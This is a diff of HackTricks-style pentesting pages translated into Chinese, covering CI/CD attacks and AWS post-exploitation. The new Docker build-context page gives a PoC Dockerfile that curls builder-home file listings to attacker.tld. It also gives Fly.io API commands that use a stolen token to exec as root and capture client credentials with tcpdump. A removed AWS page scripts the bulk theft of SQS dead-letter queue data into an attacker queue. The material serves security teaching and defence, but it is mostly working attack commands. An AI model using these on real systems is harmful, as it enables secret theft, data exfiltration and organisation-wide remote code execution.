Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -0,0 +1,101 @@
+# 在 Hosted Builders 中滥用 Docker Build Context (Path Traversal, Exfil, and Cloud Pivot)
+
+{{#include ../banners/hacktricks-training.md}}
+
+## TL;DR
+
+如果一个 CI/CD 平台或 hosted builder 允许贡献者指定 Docker build context 路径和 Dockerfile 路径，你通常可以将 context 设置为父目录（例如 ".."），使主机文件成为 build context 的一部分。然后，攻击者控制的 Dockerfile 可以使用 COPY 并 exfiltrate 位于 builder 用户主目录的秘密（例如 ~/.docker/config.json）。被窃取的 registry tokens 也可能对提供商的 control-plane APIs 生效，从而导致 org-wide RCE。
+
+## Attack surface
+
+许多 hosted builder/registry services 在构建用户提交的镜像时大致按以下方式工作：
+- 读取包含以下内容的 repo 级配置：
+- build context path（发送给 Docker daemon）
+- Dockerfile path（相对于该 context）
+- 将指定的 build context 目录和 Dockerfile 复制到 Docker daemon
+- 构建镜像并以托管服务运行
+
+如果平台没有对 build context 进行规范化并加以限制，用户可以将其设置为仓库之外的位置（path traversal），使构建用户可读的任意主机文件成为 build context 的一部分，并可在 Dockerfile 中被 COPY。
+
+常见的实际限制：
+- Dockerfile 必须位于所选 context 路径内，且其路径必须事先已知。
+- 构建用户必须对包含在 context 中的文件具有读取权限；特殊设备文件可能会导致复制失败。
+
+## PoC: Path traversal via Docker build context
+
+示例恶意服务器配置，声明一个位于父目录上下文中的 Dockerfile：
+```yaml
+runtime: "container"
+build:
+dockerfile: "test/Dockerfile"   # Must reside inside the final context
+dockerBuildPath: ".."           # Path traversal to builder user $HOME
+startCommand:
+type: "http"
+configSchema:
+type: "object"
+properties:
+apiKey:
+type: "string"
+required: ["apiKey"]
+exampleConfig:
+apiKey: "sk-example123"
+```
+注意：
+- 使用 ".." 常常解析到 builder 用户的 home（例如 /home/builder），该目录通常包含敏感文件。
+- 将你的 Dockerfile 放在 repo 的目录名下（例如 repo "test" → test/Dockerfile），这样它会保持在展开的父上下文内。
+
+## PoC: Dockerfile 用于摄取并 exfiltrate 主机上下文
+```dockerfile
+FROM alpine
+RUN apk add --no-cache curl
+RUN mkdir /data
+COPY . /data                      # Copies entire build context (now builder’s $HOME)
+RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
+```
+常见从 $HOME 恢复的目标：
+- ~/.docker/config.json (registry auths/tokens)
+- 其他 cloud/CLI 缓存和配置（例如：~/.fly, ~/.kube, ~/.aws, ~/.config/*）
+
+提示：即使仓库中存在 .dockerignore，易受攻击的平台端上下文选择仍然决定发送到 daemon 的内容。如果平台在评估你仓库的 .dockerignore 之前就将所选路径复制到 daemon，主机文件仍可能被暴露。
+
+## Cloud pivot — 使用权限过大的 tokens (example: Fly.io Machines API)
+
+某些平台会签发单个 bearer token，可同时用于 container registry 和 control-plane API。如果你窃取了 registry token，尝试将其用于 provider API。
+
+使用从 ~/.docker/config.json 偷取的 token 对 Fly.io Machines API 的示例 API 调用：
+
+列举 org 中的 apps：
+```bash
+curl -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps?org_slug=smithery"
+```
+在应用的任何机器中以 root 身份运行命令：
+```bash
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
+```
+结果：在 token 拥有足够权限时，可对所有托管应用实现整个组织范围的 remote code execution。
+
+## 来自被攻陷的托管服务的机密窃取
+
+在托管服务器上获得 exec/RCE 后，你可以收集客户端提供的 secrets（API keys、tokens），或发起 prompt-injection attacks。示例：安装 tcpdump 并捕获 port 8080 上的 HTTP 流量以提取传入 credentials。
+```bash
+# Install tcpdump inside the machine
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
+
+# Capture traffic
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
+```
+捕获到的请求通常会在 headers、bodies 或 query params 中包含 client credentials。
+
+## 参考资料
+
+- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
+- [Fly.io Machines API](https://fly.io/docs/machines/api/)
+
+{{#include ../banners/hacktricks-training.md}}

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Pentesting CI/CD 方法论
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 ## VCS
 
-VCS stands for **Version Control System**, 该系统允许开发者去**manage their source code**。最常见的是 **git**，通常公司会在以下这些**platforms**之一使用它：
+VCS 代表 Version Control System，該系統允許開發者管理其源代碼。最常見的是 **git**，你通常會在以下平台之一看到公司使用它：
 
 - Github
 - Gitlab
@@ -18,86 +18,94 @@ VCS stands for **Version Control System**, 该系统允许开发者去**manage t
 
 ## CI/CD Pipelines
 
-CI/CD pipelines 使开发者能够**automate the execution of code**，用于多种用途，包括构建、测试和部署应用程序。这些自动化工作流会被**specific actions**触发，例如 code pushes、pull requests 或定时任务。它们有助于简化从开发到生产的流程。
+CI/CD pipelines 允許開發者自動化執行代碼以達成多種目的，包括構建、測試和部署應用。這些自動化工作流會由特定動作觸發，例如 code pushes、pull requests 或排程任務。它們有助於精簡從開發到生產的流程。
 
-然而，这些系统需要**在某处执行**，而且通常需要**privileged credentials to deploy code or access sensitive information**。
+然而，這些系統需要在某處被執行，且通常需要帶有特權的憑證來部署代碼或存取敏感資訊。
 
 ## VCS Pentesting Methodology
 
 > [!NOTE]
-> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
+> 即使有些 VCS 平台允許為本節建立 pipelines，我們將只分析對源代碼控制的潛在攻擊。
 
-存放项目源代码的平台包含敏感信息，因此需要非常小心在该平台上授予的权限。以下是攻击者可能滥用的一些常见问题：
+儲存專案源代碼的平台包含敏感資訊，因此需要非常小心在此平台內授予的權限。以下是攻擊者可能濫用的一些常見問題：
+
+- **Leaks**: 如果你的代碼在提交中包含 leaks，且攻擊者能夠存取該 repo（因為是公開的或他有存取權），他可能會發現這些 leaks。
+- **Access**: 如果攻擊者能夠存取 VCS 平台內的某個帳號，他可能會獲得更多的能見度和權限。
+- **Register**: 有些平台允許外部使用者直接註冊帳號。
+- **SSO**: 有些平台不允許註冊，但允許任何擁有有效 SSO 的人登入（例如攻擊者可以用他的 github 帳號登入）。
+- **Credentials**: Username+Pwd、personal tokens、ssh keys、Oauth tokens、cookies……有多種類型的 token，使用者可能會被竊取來以某種方式存取 repo。
+- **Webhooks**: VCS 平台允許產生 webhooks。如果它們沒有以不可見的 secret 保護，攻擊者可能會濫用它們。
+- 如果沒有 secret，攻擊者可以濫用第三方平台的 webhook
+- 如果 secret 在 URL 中，同樣會發生，而且攻擊者也會得到該 secret
+- **Code compromise:** 如果惡意行為者對 repo 具有某種寫入權限，他可能會嘗試注入惡意代碼。為了成功，他可能需要繞過 branch protections。這些行為可為達成不同目標而執行：
+  - 妥協 main branch 以便進一步妥協 production。
+  - 妥協 main（或其他 branch）以妥協開發者的機器（因為他們通常會在自己的機器上執行測試、terraform 或其他來自 repo 的東西）。
+- **Compromise the pipeline** (見下一節)
 
-- **Leaks**: 如果你的代码在 commits 中包含 leaks，并且攻击者能够访问 repo（因为它是 public 或者他已有访问权限），他就可能发现这些 leaks。
-- **Access**: 如果攻击者能**访问 VCS platform 中的账号**，他可能获得**更多的可见性和权限**。
-- **Register**: 有些平台会允许外部用户直接创建账号。
-- **SSO**: 有些平台不允许普通注册，但会允许任何拥有有效 SSO 的人访问（例如攻击者可以用他的 github 账号登录）。
-- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... 用户可能会被窃取各种类型的 tokens 来以某种方式访问 repo。
-- **Webhooks**: VCS platforms 允许生成 webhooks。如果它们没有用不可见的 secrets 进行保护，**attacker could abuse them**。
-- If no secret is in place, the attacker could abuse the webhook of the third party platform
-- If the secret is in the URL, the same happens and the attacker also have the secret
-- **Code compromise:** 如果恶意行为者对 repos 有某种**write** 权限，他可能尝试**inject malicious code**。为成功，他可能需要**bypass branch protections**。这些操作可以出于不同目的：
-  - 妥协 main branch 以**compromise production**。
-  - 妥协 main（或其他 branches）以**compromise developers machines**（因为开发者通常会在他们的机器上执行 test、terraform 或其它 repo 内的东西）。
-  - **Compromise the pipeline**（见下一节）
 
 ## Pipelines Pentesting Methodology
 
-定义 pipeline 最常见的方式是使用**存放在仓库内的 CI configuration file**。该文件描述了执行作业的顺序、影响流程的条件以及构建环境设置。\
-这些文件通常有一致的名称和格式，例如 — Jenkinsfile (Jenkins)、.gitlab-ci.yml (GitLab)、.circleci/config.yml (CircleCI)，以及位于 .github/workflows 的 GitHub Actions YAML 文件。被触发时，pipeline job 会**pulls the code** 从所选的 source（例如 commit / branch），并对该代码**runs the commands specified in the CI configuration file**。
+定義 pipeline 最常見的方式，是在被構建的 repository 中使用一個 **CI configuration file**。該檔描述了被執行 job 的順序、影響流程的條件，以及構建環境設定。\
+這些檔案通常有一致的名稱與格式，例如 — Jenkinsfile (Jenkins)、.gitlab-ci.yml (GitLab)、.circleci/config.yml (CircleCI)，以及位於 .github/workflows 下的 GitHub Actions YAML 檔。當被觸發時，pipeline job 會從選定的來源（例如 commit / branch）**拉取代碼**，並針對該代碼**執行 CI configuration file 中指定的命令**。
 
-因此攻击者的最终目标是以某种方式**compromise those configuration files** 或者**compromise the commands they execute**。
+因此，攻擊者的最終目標是以某種方式**妥協那些設定檔**或是**它們所執行的命令**。
+
+> [!TIP]
+> 有些 hosted builders 允許 contributors 選擇 Docker build context 與 Dockerfile 路徑。如果 context 可被攻擊者控制，你可能會將其設在 repo 之外（例如 ".."）以便在構建期間吸入主機檔案並外洩 secrets。詳見：
+>
+>{{#ref}}
+>docker-build-context-abuse.md
+>{{#endref}}
 
 ### PPE - Poisoned Pipeline Execution
 
-Poisoned Pipeline Execution (PPE) 路径利用 SCM 仓库中的权限来操纵 CI pipeline 并执行有害命令。拥有必要权限的用户可以修改 CI configuration files 或 pipeline job 所使用的其他文件以加入恶意命令。这会“poison” CI pipeline，导致这些恶意命令被执行。
+Poisoned Pipeline Execution (PPE) 路徑利用 SCM repository 的權限來操控 CI pipeline 並執行有害命令。具有必要權限的使用者可以修改 CI configuration 檔或 pipeline job 使用的其他檔案，以包含惡意命令。這會「poison」CI pipeline，導致執行這些惡意命令。
 
-要成功实施 PPE 攻击，恶意行为者需要能够：
+要成功執行 PPE 攻擊，惡意行為者需要能夠：
 
-- 拥有 **write access to the VCS platform**，因为 pipeline 通常在 push 或 pull request 时被触发。（查看 VCS pentesting methodology 以获取获取访问权限方式的汇总）。
-- 注意有时一个**external PR 就算作 “write access”**。
-- 即使拥有 write 权限，他也要确保能**modify the CI config file 或其它 CI 配置依赖的文件**。
-- 为此，他可能需要能够**bypass branch protections**。
+- 擁有 **write access to the VCS platform**，因為通常 pipeline 是在 push 或 pull request 發生時被觸發。（查看 VCS pentesting methodology 以取得取得存取的摘要）
+- 注意有時外部 PR 也會算作「write access」。
+- 即便他有寫入權限，他還需要確定能**修改 CI config file 或其他 CI config 所依賴的檔案**。
+- 為此，他可能需要能夠**繞過 branch protections**。
 
-PPE 有 3 种变体：
+PPE 有 3 種變體：
 
-- **D-PPE**: **Direct PPE** 发生在攻击者直接**修改将被执行的 CI config** 文件时。
-- **I-DDE**: **Indirect PPE** 发生在攻击者**修改** CI config 所**依赖的文件**（例如 make file 或 terraform config）时。
-- **Public PPE or 3PE**: 在某些情况下，pipelines 可以被**没有写权限的用户触发**（这些用户可能甚至不是 org 的成员），因为他们可以发送 PR。
-- **3PE Command Injection**: 通常，CI/CD pipelines 会用**关于 PR 的信息**来**set environment variables**。如果这些值能被攻击者控制（例如 PR 的标题），并且被**used** 在**危险位置**（比如执行 **sh commands**），攻击者可能会**inject commands**。
+- **D-PPE**: Direct PPE 發生在攻擊者直接**修改將要被執行的 CI config** 檔時。
+- **I-DDE**: Indirect PPE 發生在攻擊者**修改**CI config 所依賴的**檔案**（例如 make file 或 terraform config）。
+- **Public PPE or 3PE**: 在某些情況下，pipelines 可以被沒有寫入權限的使用者（甚至不是 org 成員）觸發，因為他們可以送出 PR。
+- **3PE Command Injection**: 通常，CI/CD pipelines 會以環境變數設定有關 PR 的資訊。如果該值可被攻擊者控制（例如 PR 的標題），且被用在危險的位置（例如執行 sh 命令），攻擊者可能會在其中**注入命令**。
 
 ### Exploitation Benefits
 
-了解了三种 poison pipeline 的方式后，来看攻击者在成功利用后可能获得的收益：
+了解三種 poison pipeline 的變體後，來看攻擊者在成功利用後可能獲得的東西：
 
-- **Secrets**: 如前所述，pipelines 的 jobs 需要**privileges**（检出代码、构建、部署等），这些权限通常以**secrets** 的形式授予。这些 secrets 通常可以通过 **env variables** 或系统内部的文件访问。因此攻击者会尽可能地尝试 exfiltrate 尽可能多的 secrets。
-- 根据 pipeline 平台的不同，攻击者**可能需要在配置中指定 secrets**。这意味着如果攻击者无法修改 CI configuration pipeline（例如 I-PPE），他可能**只能 exfiltrate 该 pipeline 所拥有的 secrets**。
-- **Computation**: 代码在某处被执行，攻击者可能据此 pivot 到更多目标。
-- **On-Premises**: 如果 pipelines 在本地执行，攻击者可能会进入**内部网络并访问更多资源**。
-- **Cloud**: 攻击者可能访问云中的其他机器，也可能**exfiltrate** IAM roles/service accounts **tokens**，以获得云内的进一步访问权限。
-- **Platforms machine**: 有时作业会在 **pipelines platform machines** 内执行，这些机器通常位于云中且**没有更多访问**。
-- **Select it:** 有时 **pipelines platform 会配置多台机器**，如果你能**modify the CI configuration file**，你可以**指定想在哪里运行恶意代码**。在这种情况下，攻击者可能会在每台可选机器上运行 reverse shell，尝试进一步利用。
-- **Compromise production**: 如果你已经进入 pipeline，且最终版本由其构建并部署，你就可以**compromise the code that is going to end running in production**。
+- **Secrets**: 如前所述，pipeline 的 job 需要特權（取得代碼、構建、部署…），這些特權通常以 secrets 的形式存在。這些 secrets 通常可透過 **env variables 或系統內的檔案** 存取。因此攻擊者會盡可能嘗試外洩最多的 secrets。
+- 根據 pipeline 平台，攻擊者可能**需要在 config 中指定 secrets**。這代表如果攻擊者無法修改 CI configuration pipeline（例如 I-PPE），他可能**只能外洩該 pipeline 本身擁有的 secrets**。
+- **Computation**: 代碼會在某處被執行，視執行位置不同，攻擊者可能能夠進一步 pivot。
+- **On-Premises**: 若 pipeline 在內部執行，攻擊者可能進入內網並存取更多資源。
+- **Cloud**: 攻擊者可能存取雲端中的其他機器，或外洩 IAM roles/service accounts tokens 以在雲端內獲得更深入的存取。
+- **Platforms machine**: 有時 job 會在 pipelines platform 的機器上執行，這些機器通常位於雲端且沒有更多的額外存取權限。
+- **Select it:** 有時 pipelines platform 會配置多台機器，如果你能修改 CI configuration file，你可以指定在哪台機器上運行惡意代碼。在這種情況下，攻擊者可能會在每台可用機器上運行反向 shell 以進一步嘗試利用。
+- **Compromise production**: 如果你已進入 pipeline，且最終版本是從 pipeline 建構並部署的，你可以妥協將在 production 運行的程式碼。
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一个开源工具，用于根据新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 对你的软件供应链堆栈进行安全合规性审计。审计聚焦于整个 SDLC 流程，可以揭示从 code time 到 deploy time 的风险。
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一個開源工具，用以根據新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 對你的 software supply chain stack 做安全合規性審核。該審核涵蓋整個 SDLC 流程，可揭露從代碼提交到部署階段的風險。
 
 ### Top 10 CI/CD Security Risk
 
-查看 Cider 关于前十个 CI/CD 风险的有趣文章： [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+參考 Cider 所列的 CI/CD 前十大風險，詳見： [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
-- 在每个平台的本地运行版本中，你可以找到如何在本地启动以便按需配置和测试的说明
+- 對於每個可以在本機執行的平台，你會找到如何在本機啟動的說明，以便你可以按需配置來測試。
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一个面向 infrastructure-as-code 的静态代码分析工具。
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一個針對 infrastructure-as-code 的靜態代碼分析工具。
 
 ## References
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -1,154 +0,0 @@
-# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Description
-
-滥用 SQS message move tasks，通过将受害者的 Dead-Letter Queue (DLQ) 中累积的所有消息重定向到攻击者控制的队列（使用 `sqs:StartMessageMoveTask`）来窃取数据。该技术利用了 AWS 的合法消息恢复功能，能够外泄长时间累积在 DLQ 中的敏感数据。
-
-## What is a Dead-Letter Queue (DLQ)?
-
-Dead-Letter Queue（死信队列）是一个特殊的 SQS 队列，当主应用无法成功处理消息时，消息会被自动发送到这里。这些失败的消息通常包含：
-- 无法处理的敏感应用数据
-- 错误详情和调试信息
-- 个人身份信息（PII）
-- API token、凭证或其他秘密
-- 业务关键的交易数据
-
-DLQ 类似于失败消息的“墓地”，由于应用无法正确处理这些消息，它们会随着时间累积，因此成为有价值的目标。
-
-## Attack Scenario
-
-**Real-world example:**
-1. **E-commerce application** 通过 SQS 处理客户订单
-2. **Some orders fail**（支付问题、库存问题等），并被移到 DLQ
-3. **DLQ accumulates** 几周/几个月的失败订单，包含客户数据： `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
-4. **Attacker gains access** 到具有 SQS 权限的 AWS 凭证
-5. **Attacker discovers** DLQ 中包含成千上万条带敏感数据的失败订单
-6. **Instead of trying to access individual messages**（慢且明显），攻击者使用 `StartMessageMoveTask` 将所有消息批量转移到自己的队列
-7. **Attacker extracts** 一次性提取所有历史敏感数据
-
-## Requirements
-- 源队列必须被配置为 DLQ（至少被某个队列的 RedrivePolicy 引用）。
-- IAM 权限（以被攻陷的受害者主体身份运行）：
-- 在 DLQ（source）上：`sqs:StartMessageMoveTask`，`sqs:GetQueueAttributes`。
-- 在目标队列上：允许投递消息的权限（例如，队列策略允许来自受害者主体的 `sqs:SendMessage`）。对于同账户的目标，这通常默认允许。
-- 如果启用了 SSE-KMS：在源 CMK 上需要 `kms:Decrypt`，在目标 CMK 上需要 `kms:GenerateDataKey`、`kms:Encrypt`。
-
-## Impact
-使用原生 SQS API 高速外泄 DLQ 中累积的敏感负载（失败事件、PII、tokens、应用负载）。如果目标队列策略允许来自受害者主体的 `SendMessage`，则可跨账户工作。
-
-## How to Abuse
-
-- 识别受害者 DLQ 的 ARN，并确认它确实被某个队列引用为 DLQ（任何队列都可以）。
-- 创建或选择一个攻击者控制的目标队列并获取其 ARN。
-- 从受害者 DLQ 启动一个 message move task，将消息移动到你的目标队列。
-- 监控进度或在需要时取消。
-
-### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
-
-**Scenario**: 攻击者已入侵 AWS 凭证，并发现某电商应用使用 SQS，且其 DLQ 中包含失败的客户订单处理尝试。
-
-1) **Discover and examine the victim DLQ**
-```bash
-# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
-aws sqs list-queues --queue-name-prefix dlq
-
-# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
-VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
-SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
-
-# Check how many messages are in the DLQ (potential treasure trove!)
-aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
---attribute-names ApproximateNumberOfMessages
-# Output might show: "ApproximateNumberOfMessages": "1847"
-```
-2) **创建攻击者控制的目标队列**
-```bash
-# Create our exfiltration queue
-ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
-ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
-
-echo "Created exfiltration queue: $ATTACKER_Q_ARN"
-```
-3) **执行 bulk message theft**
-```bash
-# Start moving ALL messages from victim DLQ to our queue
-# This operation will transfer thousands of failed orders containing customer data
-echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
-TASK_RESPONSE=$(aws sqs start-message-move-task \
---source-arn "$SRC_ARN" \
---destination-arn "$ATTACKER_Q_ARN" \
---max-number-of-messages-per-second 100)
-
-echo "Move task started: $TASK_RESPONSE"
-
-# Monitor the theft progress
-aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
-```
-4) **收集被盗的敏感数据**
-```bash
-# Receive the exfiltrated customer data
-echo "Receiving stolen customer data..."
-aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
---attribute-names All --message-attribute-names All \
---max-number-of-messages 10 --wait-time-seconds 5
-
-# Example of what an attacker might see:
-# {
-#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
-#   "MessageId": "12345-abcd-6789-efgh"
-# }
-
-# Continue receiving all messages in batches
-while true; do
-MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
---max-number-of-messages 10 --wait-time-seconds 2 --output json)
-
-if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
-echo "No more messages - exfiltration complete!"
-break
-fi
-
-echo "Received batch of stolen data..."
-# Process/save the stolen customer data
-echo "$MESSAGES" >> stolen_customer_data.json
-done
-```
-### 跨账户注意事项
-- 目标队列必须有一个资源策略，允许受害者主体执行 `sqs:SendMessage`（如果使用了 KMS，还需相应的授权/权限）。
-
-## 为什么该攻击有效
-
-1. **合法的 AWS 功能**：利用内置的 AWS 功能，难以被识别为恶意
-2. **批量操作**：快速转移数千条消息，而非缓慢的逐条访问
-3. **历史数据**：DLQs 会在数周/数月内积累敏感数据
-4. **不易察觉**：许多组织不会密切监控 DLQ 的访问
-5. **支持跨账户**：在权限允许的情况下，可以 exfiltrate 到攻击者自己的 AWS 账户
-
-## 检测与防护
-
-### 检测
-监控 CloudTrail 是否有可疑的 `StartMessageMoveTask` API 调用：
-```json
-{
-"eventName": "StartMessageMoveTask",
-"sourceIPAddress": "suspicious-ip",
-"userIdentity": {
-"type": "IAMUser",
-"userName": "compromised-user"
-},
-"requestParameters": {
-"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
-"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
-}
-}
-```
-### 预防措施
-1. **Least Privilege**: 将 `sqs:StartMessageMoveTask` 权限仅授予必要的角色
-2. **Monitor DLQs**: 为异常的 DLQ 活动设置 CloudWatch 报警
-3. **Cross-Account Policies**: 仔细审查允许跨账户访问的 SQS 队列策略
-4. **Encrypt DLQs**: 使用 SSE-KMS 并限制密钥策略
-5. **Regular Cleanup**: 不要让敏感数据在 DLQs 中无限累积
-
-{{#include ../../../banners/hacktricks-training.md}}